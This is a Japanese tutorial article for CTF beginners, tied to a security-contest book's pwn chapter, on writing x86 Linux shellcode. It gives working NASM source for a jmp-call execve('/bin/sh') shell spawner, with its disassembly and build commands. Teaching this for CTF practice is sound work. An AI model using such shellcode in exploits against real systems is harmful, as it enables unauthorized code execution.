マナティ

セキュリティコンテストチャレンジブック

シェルコードを書いてみる

書籍『セキュリティコンテストチャレンジブック』2章 pwnの関連記事としてシェルコードに関する記事を3回にわたって掲載、今回は実際にシェルコードを書く段階に入ります。

64265_ext_02_0.png

はじめに

この連載では『セキュリティコンテストチャレンジブック』2章「pwn」の関連記事としてシェルコードに関する記事を計3回にわたって掲載します。(書籍未掲載記事です!) 前回の記事『シェルコードとは』はこちら

3 シェルコードを書いてみる

それでは実際にシェルコードを書く段階に入ります。まずは x86 でシェルを起動するシェルコードを書いてみましょう。シェルを起動するためには execve システムコールを使って /bin/sh を実行します。 execve システムコールの引数を考えると、execve("/bin/sh", ["sh", 0], [0]); と同等の処理を行うことになるのですが、実はLinuxにおいては execve の第2, 第3引数に NULL を与えても問題なく実行されるため、 execve("/bin/sh", 0, 0) と同等の処理を行います。 もう1つ考慮することとして、シェルコードは独立して実行できることが望ましいので、 /bin/sh の文字列もシェルコード内に入れ込むことになります。

文字列をどう扱うかはいったん置いておいて、その他の部分のシェルコードを構築してしまいます。

BITS 32
global _start

_start:
    mov eax, 11
    mov ebx, ; ['/bin/sh'のアドレス]
    mov ecx, 0
    mov edx, 0
    int 0x80

/bin/sh のアドレスを ebx にセットしなければなりません。方法はいくつかあるのですが、まずは jmp-call を使ってアドレスを入手する方法を紹介します。

call 命令は指定された関数へジャンプするとともに call 命令の位置 + 5 のアドレス、すなわち call 命令で飛んだ先からリターンするためのリターンアドレスをスタックに push します。うまく call 命令を利用すれば、スタックの一番上に /bin/sh の文字列へのアドレスがある状態でシェルコードを継続することができるのです。実際に jmp-call を使ってレジスタに /bin/sh のアドレスをセットするアセンブラを書いてみましょう。

; binsh.s
BITS 32
global _start

_start:
    mov eax, 11
    jmp buf
setebx:
    pop ebx
    mov ecx, 0
    mov edx, 0
    int 0x80
    
buf:
    call setebx
    db '/bin/sh', 0

/bin/sh という文字列が機械語として実行されてしまうと困るので、シェルコードの末尾に配置しています。途中で buf へジャンプし、そこから setebx を call することで /bin/sh のアドレスをスタックに載せてシェルコードを継続させています。あとは pop 命令を使ってそのアドレスを ebx にセットするだけです。

アセンブラのコードが書けたのでこれを NASM を使ってアセンブルしてみます。アセンブルが完了したら ndisasm コマンドを使って機械語を逆アセンブルしてみます。また、後々のためシェルコードのサイズも確認しておきましょう。

$ nasm binsh.s
$ ndisasm -b 32 binsh
00000000  B80B000000        mov eax,0xb
00000005  EB0D              jmp short 0x14
00000007  5B                pop ebx
00000008  B900000000        mov ecx,0x0
0000000D  BA00000000        mov edx,0x0
00000012  CD80              int 0x80
00000014  E8EEFFFFFF        call dword 0x7
00000019  2F                das
0000001A  62696E            bound ebp,[ecx+0x6e]
0000001D  2F                das
0000001E  7368              jnc 0x88
00000020  00                db 
$ wc binsh
 0  1 33 binsh

完成したシェルコードを実際に動かして動作を確認してみたいところですが、このままでは NASM の出力形式がバイナリファイルになっているため動かすことができません。Linux 上で動かすためにはオブジェクト形式で出力し、更にリンカを実行して実行形式のファイルを作成する必要があります。

$ nasm -f aout binsh.s
$ ld -m elf_i386 binsh.o
$ ./a.out 
$ ls
a.out  binsh.o  binsh.s
$ exit

シェルから ./a.out を実行して起動するのもシェルであるためわかりにくくなっていますが、シェルコードが実際に動いている様子を確認することができます。

著者プロフィール

SECCON実行委員会/CTF for ビギナーズ()
コンピュータセキュリティ技術を競う競技であるCTF (Capture The Flag) の初心者を対象とした勉強会。CTFに必要な知識を学ぶ専門講義と実際に問題に挑戦してCTFを体験してもらう演習を行っている。